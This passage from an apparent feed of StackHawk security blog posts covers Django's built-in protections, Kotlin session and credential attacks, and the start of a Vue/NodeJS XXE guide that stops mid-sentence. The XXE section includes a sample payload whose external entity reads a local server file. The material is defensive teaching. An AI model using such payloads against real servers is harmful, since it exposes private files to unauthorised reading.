href=&quot;https://owasp.org/www-community/attacks/Clickjacking&quot;&gt;&lt;u&gt;Clickjacking&lt;/u&gt;&lt;/a&gt; is a technique in which a malicious actor tricks a user into clicking on something other than what the user intends to. So how does this happen? One of the common ways is by placing a malicious web element or page in a legit web page using &lt;a href=&quot;https://www.w3schools.com/tags/tag_iframe.asp&quot;&gt;&lt;u&gt;iframe&lt;/u&gt;&lt;/a&gt;. For example, when a user tries to click on a button, they&amp;#39;d end up clicking on a malicious button on a different page altogether. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Django provides clickjacking protection in the form of &lt;b&gt;X-Frame-Options&lt;/b&gt; middleware. This feature prevents a different site from rendering inside a frame. &lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;b&gt;Enforcing SSL/HTTPS&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Encryption is important to keep data secure. Django has encryption features that help you enforce secure connections. Some of these features are: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Redirect HTTP requests over HTTPS&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Send cookies only over HTTPS connection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/django-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;HTTP Strict Transport Security&lt;/u&gt;&lt;/a&gt; (HSTS)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These are some of the main security features for Django applications. Although these cover the basics, you&amp;#39;d need more security practices as per your use case. So along with the default security features, you can bring in security libraries to make your security better. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Security Libraries for Django&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Django is based on Python, and Python is very well known for its huge collection of libraries that meet almost every need. It has many libraries to improve the security of your Django applications. Here&amp;#39;s a brief list of some security libraries for Django: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gotlium/django-secure-auth&quot;&gt;&lt;u&gt;Secure Auth&lt;/u&gt;&lt;/a&gt;: Provides secure authentication (&lt;b&gt;multi-factor authentication&lt;/b&gt;, or &lt;b&gt;MFA&lt;/b&gt;) with &lt;b&gt;a time-based one-time password&lt;/b&gt; (&lt;b&gt;TOTP&lt;/b&gt;), &lt;b&gt;short message service&lt;/b&gt; (&lt;b&gt;SMS&lt;/b&gt;), security codes and question–answer pairs. You can further improve login authentication with IP ranges and captcha.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/kencochrane/django-defender&quot;&gt;&lt;u&gt;Django Defender&lt;/u&gt;&lt;/a&gt;: Blocks brute-force login attempts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/nigma/django-session-activity&quot;&gt;&lt;u&gt;Django Session Activity&lt;/u&gt;&lt;/a&gt;: Helps identify suspicious and malicious behavior by listing recent account activity and sign-outs from all sessions opened on computers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/mxsasha/django-restricted-sessions&quot;&gt;&lt;u&gt;Restricted Sessions&lt;/u&gt;&lt;/a&gt;: Restricts Django sessions to the IP address and/or user agents it authenticates. So if the IP or user agent changes after creating the session, the request receives a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/400&quot;&gt;&lt;u&gt;400 response&lt;/u&gt;&lt;/a&gt;, and the session gets flushed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/dfunckt/django-rules&quot;&gt;&lt;u&gt;Django Rules&lt;/u&gt;&lt;/a&gt;: Provides object-level permissions for Django.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/dmpayton/django-admin-honeypot&quot;&gt;&lt;u&gt;Admin Honeypot&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/jamesturk/django-honeypot&quot;&gt;&lt;u&gt;Django Honeypot&lt;/u&gt;&lt;/a&gt;: Help create decoys to identify malicious activity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/georgemarshall/django-cryptography&quot;&gt;&lt;u&gt;Django Cryptography&lt;/u&gt;&lt;/a&gt;: Encrypts data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now let&amp;#39;s look into some of the most common attacks and how Django security features protect against them. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Django Security Attacks&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Common attacks on Django applications are mostly the same as the common attacks on any web app framework, because the tools and general processes for particular attacks are the same for all frameworks. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Although you might find attacks specific to Django, these are relatively few. Now, let&amp;#39;s go through different attacks and see how Django fights against them. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;b&gt;SQL injection&lt;/b&gt; is when an attacker injects crafted SQL queries into a request. The attacker attempts to make the application execute a query that it ideally would not. Two main criteria for a SQL injection to work are &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;the application uses a SQL database, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;user-submitted data is part of the SQL query.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The main source of threat for a SQL injection is user-submitted data that the underlying SQL query uses as a parameter. &lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-django/&quot;&gt;&lt;u&gt;Django SQL injection protection&lt;/u&gt;&lt;/a&gt; uses query parameterization. You can divide a complete SQL query into SQL code and query parameters. The application carefully escapes any data it uses as a parameter to make it safe. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-site Scripting (XSS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An &lt;b&gt;XSS attack&lt;/b&gt; is a technique wherein a malicious actor injects crafted malicious client-side scripts into an application to manipulate the application&amp;#39;s functions. The origin of an XSS attack is an untrusted source of data. &lt;a href=&quot;https://www.stackhawk.com/blog/django-xss-examples-prevention/&quot;&gt;&lt;u&gt;Django XSS protection&lt;/u&gt;&lt;/a&gt; uses the concept of &lt;b&gt;templates&lt;/b&gt; to prevent XSS attacks. By default, Django templates escape special HTML characters in the HTML code to prevent XSS attacks. For example: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;lt;&lt;/b&gt; is converted to &lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;gt;&lt;/b&gt; is converted to &lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;‘&lt;/b&gt; (single curly quote) is converted to &lt;b&gt;&amp;#39; &lt;/b&gt;(single straight quote)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;“&lt;/b&gt; (double curly quote) is converted to &lt;b&gt;&amp;quot; &lt;/b&gt;(double straight quote)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;amp;&lt;/b&gt; is converted to &lt;b&gt;&amp;amp;amp &lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So even when an attacker injects a client-side script, the browser doesn&amp;#39;t process it as code. Although this provides a basic level of security, it&amp;#39;s not foolproof. You need to &lt;a href=&quot;https://www.stackhawk.com/blog/django-xss-examples-prevention/&quot;&gt;&lt;u&gt;take extra measures to make your application more secure&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-site Request Forgery (CSRF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;b&gt;CSRF&lt;/b&gt; is an attack in which an attacker uses the authentication information of a user to trick the authenticated user into performing an action that they don&amp;#39;t intend to perform. &lt;a href=&quot;https://www.stackhawk.com/blog/django-csrf-protection-guide/&quot;&gt;&lt;u&gt;Django CSRF provides protection against CSRF&lt;/u&gt;&lt;/a&gt; using its &lt;b&gt;CSRF middleware &lt;/b&gt;and creating a secret value, a.k.a CSRF token. A &lt;a href=&quot;https://portswigger.net/web-security/csrf/tokens&quot;&gt;&lt;u&gt;CSRF token&lt;/u&gt;&lt;/a&gt; is a unique, secret value that is sent to the client-side from the server. And for every subsequent request from the client, the server checks this secret value. This prevents a malicious user from replaying a form POST to your application. For a malicious actor to execute a CSRF attack, they&amp;#39;d have to know the secret value specific to each user. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Open Redirect&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An &lt;b&gt;open redirect&lt;/b&gt; is a security weakness in an application that occurs when the application uses user-controlled data for redirection. If you don’t check that the user-controlled data is secure, then an attacker can manipulate the data and execute an open redirect attack. &lt;a href=&quot;https://www.stackhawk.com/blog/django-open-redirect-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;Django open redirection protection&lt;/u&gt;&lt;/a&gt; allows you to run the URL through a safety checker. The &lt;b&gt;is_safe_url()&lt;/b&gt; function from &lt;b&gt;django.utils &lt;/b&gt;takes a URL as input and checks if it’s safe or not, and blocks the redirection if it finds something unsafe. &lt;/p&gt;&lt;h3&gt;
&lt;b&gt;Path Traversal&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A &lt;b&gt;path traversal attack&lt;/b&gt; is when an attacker manipulates a URL or a request to access directories stored outside the permitted directory of the application. This technique mostly relies on the directory structure and a directory reference. For example, if the current directory is &lt;b&gt;&lt;i&gt;/django&lt;/i&gt;&lt;/b&gt;, an attacker could access the parent directory using &lt;b&gt;&lt;i&gt;.&lt;/i&gt;&lt;/b&gt;&lt;b&gt;./&lt;/b&gt; (double dots are used to refer to parent directory). &lt;/p&gt;&lt;p&gt;The latest versions of &lt;a href=&quot;https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/#:~:text=Django%20path%20traversal%20or%20directory,(..%2F)%20sequence.&quot;&gt;&lt;u&gt;Django provide protection from path traversal attacks &lt;/u&gt;&lt;/a&gt;by enforcing use of absolute paths. Django uses Python’s &lt;b&gt;os.path.abspath&lt;/b&gt; to determine if the absolute path is located in the permitted directory. Or you can use Python&amp;#39;s &lt;b&gt;os.path.relpath &lt;/b&gt;module to determine the path and compare it with the permitted path. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;More Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As you can see, Django is very security-focused. But is it enough? Absolutely not! When it comes to security, no amount is enough. So along with the built-in features of Django and its security libraries, here are some security best practices to follow. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Use additional encryption. Although Django by default provides encryption features for data flowing over the network, you need to take care of encryption in other parts of the application. For example, you need to encrypt the secret keys that you&amp;#39;re using in your application. This is especially useful if you&amp;#39;re using version control systems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Change default URLs to custom URLs. For example, if the default to access an admin page is &lt;b&gt;/admin&lt;/b&gt; then change it to something like &lt;b&gt;/my-app-admin-page&lt;/b&gt;. This will make it difficult for attackers to find special portals.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use MFA.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Be careful with Git commit. Make sure not to commit any sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use honeypots to understand what attackers are targeting and what techniques they’re using. Then put extra focus on improving security based on the data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Continuously test your application for security weaknesses.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Summing It Up&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Django is one of the most convenient web application frameworks. You cannot compromise on security in today’s applications. Along with making development easy, Django focuses on security and provides multiple security features by default, and for some other security features, you have to either enable them or configure them. We&amp;#39;ve explained different security features of Django, additional libraries that can enhance security, and best practices for security. They apply to all applications in general, but they’re not enough. &lt;/p&gt;&lt;p&gt;Security is best when it&amp;#39;s above the benchmark and custom-tailored for your application. Therefore, once you implement all the basic security practices and fix common weaknesses, you need to focus on application-specific security. This calls for regular monitoring, keeping up-to-date with the latest security weaknesses and fixes, and most importantly security &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;testing&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;So, you&amp;#39;ve created a form that works. Did you take the time to consider if it leaves your user open to attacks?&lt;/p&gt;&lt;p&gt;As developers, we&amp;#39;re often more concerned with making sure our code works, is maintainable, and is easy to read than fixing bugs. However, if we don&amp;#39;t prioritize security, we leave our applications open to malicious intents. As such, it&amp;#39;s crucial to make security part of our &lt;a href=&quot;https://www.stackhawk.com/blog/how-security-based-development-should-work/&quot;&gt;&lt;u&gt;development process&lt;/u&gt;&lt;/a&gt;. But to do this, we first have to understand the types of threats our apps are open to.&lt;/p&gt;&lt;p&gt;In this post, I&amp;#39;ll explain how to defend your Kotlin application against broken authentication. First, I&amp;#39;ll explain a few common authentication vulnerabilities. Then, we&amp;#39;ll look at solutions for making your Kotlin applications more secure. Most importantly, you&amp;#39;ll see that protecting your users against nefarious attackers doesn&amp;#39;t have to mean extra work!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Broken Authentication?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken authentication is a broad term that encompasses several vulnerabilities. Our focus will be on two main weaknesses:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;session management: the hijacking of a user&amp;#39;s session IDs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;credential management: the hijacking of an authentic user&amp;#39;s credentials&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Attacks can either be very specific and target an individual. It&amp;#39;s also common for attackers to launch widespread attacks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Session Management&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To begin with, whenever a user interacts with an application, they&amp;#39;re assigned a session ID to help identify them. This is a unique ID that the application uses to communicate with the user. Session IDs are commonly found in the form of shared preferences. Since shared preferences are a great way to keep users logged in, attackers will try using various methods to obtain these IDs, thereby obtaining protected information.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s take a look at some different types of session management attacks and how you can prevent them.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Attack: Session ID URL Rewriting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In session ID URL rewriting, a user&amp;#39;s session ID appears in the URL. In this scenario, you&amp;#39;ve exposed your users&amp;#39; private data to widespread attacks. This can lead to attackers sniffing out and gaining access to the session ID.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Solution&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Kotlin is still mostly used for developing mobile apps however it is possible to build web apps using Kotlin. It will be important to use HTTPS on that website. In short, HTTPS authenticates websites and protects information the user submits. Hackers are unable to decrypt user information, thus decreasing the likelihood of an attack.&lt;/p&gt;&lt;p&gt;The padlock symbol you see next to the URL of most websites represents HTTPS and lets your user know the website is secure. The Adobe business platform back end was migrated from Java to Kotlin. The lock icon assures users that the website is safe to use.&lt;/p&gt;&lt;p&gt;&lt;i&gt;The lock icon next to the URL assures users a website is secure&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Fortunately, Kotlin has many frameworks you can use to serve, consume, and test HTTPS. For example,&lt;a href=&quot;https://ktor.io/docs/request.html#cookies&quot;&gt;&lt;u&gt;Ktor&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.http4k.org/guide/howto/secure_and_auth_http/&quot;&gt;&lt;u&gt;http4k&lt;/u&gt;&lt;/a&gt; are popular frameworks for connecting Kotlin applications. Comparatively, Ktor is fully asynchronous while http4k isn&amp;#39;t. It&amp;#39;s important to choose the framework that works best for your needs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Attack: Session Fixation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Mobile apps connect to external services to authenticate a user. These include their host servers, other mobile resources, and third-party services. Hackers will use vulnerabilities within this communication to launch an attack.&lt;/p&gt;&lt;p&gt;In session fixation, the attacker tries to trick a user into authenticating a predetermined session ID. An attacker will try to predetermine a session ID. They then send a link with the predetermined session ID to the user. This will prompt the user to log in. Misled into believing the link leads to a legitimate application, they enter their credentials. Attackers are able to gain access to protected resources because they now have access to an authenticated session ID.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Solution&lt;/b&gt;&lt;/h4&gt;&lt;h5&gt;&lt;b&gt;Mobile Client Certificates&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;The easiest way to block non-human attacks from gaining access to your app is through mobile client certificates. In essence, applications use mobile client certificates to authenticate themselves to the back end. The client certificate simply validates that the connection is coming from a trusted source and should be allowed access to the back end. As a result, this allows the firewall to block unauthorized apps or malicious bots. Most importantly, this allows only trusted apps to gain access to your back end. Think of it as a digital handshake between your application and the external service.&lt;/p&gt;&lt;p&gt;Fortunately, Kotlin has support for incorporating mobile client certificates within your app. There are three ways to add certificates using Kotlin: &lt;a href=&quot;https://developer.android.com/training/articles/security-config&quot;&gt;&lt;u&gt;network security configuration&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://developer.android.com/reference/javax/net/ssl/TrustManager&quot;&gt;&lt;u&gt;trust manager&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://developer.android.com/training/articles/security-ssl&quot;&gt;&lt;u&gt;certificate pinning&lt;/u&gt;&lt;/a&gt;. Each has its own strengths and weaknesses, so make sure to pick the one that&amp;#39;s best for your Kotlin app. The code below is an example of certificate pinning used together with &lt;a href=&quot;https://square.github.io/okhttp/&quot;&gt;&lt;u&gt;okHttpClient&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h5&gt;&lt;b&gt;Ending A Session&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;Additionally, ending the session length after a long period of inactivity and logging out after a certain period of time can reduce the chances of a breach. You can remove or add session IDs using shared preferences. Equally important, Kotlin will store the shared preferences within the device itself. So, remember to encrypt them so anyone who gains access cannot read them. Also, make sure to destroy the IDs once your user becomes inactive for a long period of time.&lt;/p&gt;&lt;p&gt;To illustrate, consider a movie streaming app like Amazon Prime. A streaming app is going to want to make it easy for its users to navigate through the app without logging in every time. Conversely, a banking app should log out users after a few minutes since the likelihood of an attack is much higher. With this in mind, be sure to clear the saved data when the user is no longer active or leaves the app. You can use the activity lifecycle, onDestroy and onResume, to do this.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Credential Management&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;The easiest way for attackers to gain access to protected information is by using a user&amp;#39;s credentials. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Attackers will try to gain access to a user&amp;#39;s credential pair (i.e., their username and password). Gaining access to these subsequently leads to an attacker having control of a user&amp;#39;s account. This gives the attacker access to protected resources.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Attack: Credential Stuffing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Credential stuffing is on the rise instead of targeting large-scale corporations. Basically, this type of attack happens when an attacker already has access to user credentials.&lt;/p&gt;&lt;p&gt;Often, hackers will sell or give away credentials to other attackers. They have gained access to an unencrypted database. These attackers will automate trying different username and password pairs. In fact, hackers will do this using virtual environments such as emulators.&lt;/p&gt;&lt;p&gt;Above all, this is a numbers game. The intention is to hijack user accounts. Attackers do this because people often use the same password and username on different applications. In reality, there are billions of credentials currently that attackers have been able to gain access to.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Solution&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;For that reason, one of the best ways to significantly prevent your mobile app from falling victim to credential stuffing is to prevent it from being run on virtual devices. These include simulators, emulators, virtual environments, debugging tools, and other virtual environments. The code below simply checks to see if the app is opened in an emulator.&lt;/p&gt;&lt;p&gt;First, we gather all the emulators in the market. Second, Kotlin allows us to evaluate their properties, mainly their build value. Finally, we use the return value to determine if the application can be granted access.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Hackers want to use the servers and back end to gain access to the app. In this situation, remember to encrypt all API endpoints, as attackers will use this information for credential stuffing. For instance, it&amp;#39;s advisable to encrypt usernames and passwords since attackers need this information for an attack. For added protection, consider using a keystore, which makes it more difficult to extract the encrypted data from the device.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Attack: Password Spraying&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Password spraying, a brute force attack, is similar to credential stuffing. Spraying doesn&amp;#39;t involve already existing passwords and username pairs. Attackers will try to guess user credentials using common phrases, terms, birthdays, etc. The assumption is many people will choose weak passwords. On average, users have to remember 100 passwords. This results in people using weak or reusing passwords to make their lives easier. Above all, this can lead to your app being vulnerable to malicious attacks and breaches.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Solution&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In general, using passwordless authentication eliminates unsafe password behavior. Users often pick common passwords that are very easy to hack. These make it easy for hackers to exploit this vulnerability. Consider sending users verification links, requiring an SMS that verifies ownership, or using biometrics. Biometrics, in particular, is a great security feature as it requires a unique physical action from the user. And Kotlin supports using biometrics within your application.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken authentication can have serious ramifications for your Kotlin application. That&amp;#39;s why it&amp;#39;s important to make security a part of your development process.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt; As a developer, you need to understand the most basic types of vulnerabilities out there when coding in Kotlin. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;This way, you can plan better and execute code that protects your users from malicious attacks. All things considered, implementing session and credential management shouldn&amp;#39;t be an afterthought.&lt;/p&gt;&lt;p&gt;Fortunately, Kotlin comes with many frameworks and libraries we can use to mitigate these risks. Using a tool like &lt;a href=&quot;https://www.stackhawk.com/about/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; that will run tests and find all vulnerability issues before the application is pushed to production will save you in the end. As more businesses provide mobile applications for their users, this will make them an attractive target for attackers. It&amp;#39;s important as developers to place protocols in place that will deter such attacks.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Sinazo Bogicevic. &lt;/i&gt;&lt;a href=&quot;https://sinazobogicevic.medium.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Sinazo&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a software developer with a passion for blockchain and mobile development. When she&amp;#39;s not creating amazing products, she can be found either writing or talking about tech for the not so tech-savvy.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue XML External Entities (XXE) Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-xml-external-entities-xxe-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we&amp;#39;ll address the subject of Vue XML external entities injection. Our goal is to offer you a solid foundation to understand and mitigate XML external entity injection vulnerabilities in Vue and NodeJS. Additionally, we want to help you prepare to implement solutions in your projects.&lt;/p&gt;&lt;p&gt;It&amp;#39;s important to note that we&amp;#39;ll be providing mitigation strategies for NodeJS since the bulk of vulnerabilities lie in the back end of applications.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll first explain what XML is. Then, we&amp;#39;ll give you some basic examples of XML external entity injection vulnerabilities and exploits. Finally, we&amp;#39;ll provide you with strategies and mechanisms to prevent this exploit from affecting your application.&lt;/p&gt;&lt;p&gt;It goes without saying, but this article might not be for you if you don&amp;#39;t have any experience with Vue. If you just want to know what XML external entity injections are, we recommend you go to our in-depth article about it here. Additionally, if you just want to learn about the basics of Vue, you might want to spend some time &lt;a href=&quot;https://vuejs.org/tutorial/#step-1&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Explaining XML&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;XML (extensible markup language) is a markup language for storing, transmitting, and reconstructing data. This language defines rules for encoding documents in both human-readable and machine-readable formats.&lt;/p&gt;&lt;p&gt;But wait—why does a markup language represent a threat to your systems?&lt;/p&gt;&lt;p&gt;The truth is that we make use of this language everywhere to process data in a convenient and human-readable way. Additionally, most XML processing tools in use allow for the specification of what is known as an external entity.&lt;/p&gt;&lt;p&gt;This entity, commonly a URI, is retrieved and processed during the parsing of the XML file. This prompts the parser to request and include the content inside the XML document. And, as you might&amp;#39;ve guessed, this is a window into trouble.&lt;/p&gt;&lt;p&gt;XML external entity injections, also known as XXE injections, are attacks that target XML parsing vulnerabilities. And, given that most systems that use XML parsing functionalities that face the user are potentially vulnerable, they can allow a bad actor to access files and resources on the server.&lt;/p&gt;&lt;p&gt;Given that a determined bad actor could use this entity as an avenue to retrieve any resource in the server, this vulnerability could be devastating for our security. All that&amp;#39;s needed is a sufficient understanding of server structures and information about the technology stack in use.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Examples of XML External Entity Injection Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;The biggest threat offered by XXE injection is its simplicity. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Most developers won&amp;#39;t be able to spot the dangerous code. Many won&amp;#39;t even see danger at all, even when it&amp;#39;s right in front of them.&lt;/p&gt;&lt;p&gt;So, to prevent that, let&amp;#39;s see some common examples.&lt;/p&gt;&lt;p&gt;This XML document contains just one username element.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; 
&amp;lt;username&amp;gt;Michael&amp;lt;/username&amp;gt;
&amp;lt;/xml&amp;gt;&lt;/code&gt;
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Nothing scary here, right? Well, we haven&amp;#39;t added any external entity yet.&lt;/p&gt;&lt;p&gt;OK, how do we add an external entity?&lt;/p&gt;&lt;p&gt;Simple. External entities are simple XML tags that use a system identifier within a DOCTYPE header.&lt;/p&gt;&lt;p&gt;This header works by adding more properties to the XML file structure itself. This would be, for example, a URL referencing another XML file containing additional data—nothing complex.&lt;/p&gt;&lt;p&gt;But what if we take advantage of this feature to retrieve something we shouldn&amp;#39;t? For example, the following code containing an external XML entity fetches the content of /privates.txt and displays it.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; 
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///privates.txt&amp;quot; &amp;gt;]&amp;gt; 
&amp;lt;username&amp;gt;&amp;amp;xxe;&amp;lt;/username&amp;gt;
&amp;lt;/xml&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Yikes.&lt;/p&gt;&lt;p&gt;It&amp;#39;s painfully clear that this is a potentially catastrophic vulnerability since these entities can access local or remote content within our server.&lt;/p&gt;&lt;p&gt;This is particularly awful if you make the mistake of keeping sensitive files on your server. Essentially, this would eventually provide a path to a hostile takeover of your whole platform.&lt;/p&gt;&lt;p&gt;Incidentally, XML external entity injection attacks can also access local resources that may return data in a loop, impacting application availability and leading to a kind of denial of service attack. &lt;/p&gt;&lt;p&gt;Now, if you&amp;#39;re paying attention, this is when you should be freaking out and start advocating for disabling XML file processing altogether.&lt;/p&gt;&lt;p&gt;But don&amp;#39;t be so hasty. There are still steps that we can take to mitigate this vulnerability.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating XML External Entity Injection Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that you&amp;#39;ve calmed yourself a little bit, let&amp;#39;s explore how to prevent your systems from falling victim to these attacks so you can keep your job.&lt;/p&gt;&lt;p&gt;First and foremost, mitigating XXE injection attacks is actually quite simple—sorry for the fearmongering.&lt;/p&gt;&lt;p&gt;Assuming that you need the functionality for loading user-provided XML files, as long as you&amp;#39;re not deliberately attempting to open a back door for exploits, most libraries do a decent job protecting your application.&lt;/p&gt;&lt;p&gt;The general approach to prevent this exploit is not to use libraries that support entity replacement like LibXML. And, if you have to, disable the feature altogether.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Working on the Code&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now, this mainly concerns the back end of your application. In our case, this is NodeJS, but if you&amp;#39;re parsing XML in the front end for any specific purpose, avoid using libraries that support entity replacement.&lt;/p&gt;&lt;p&gt;As 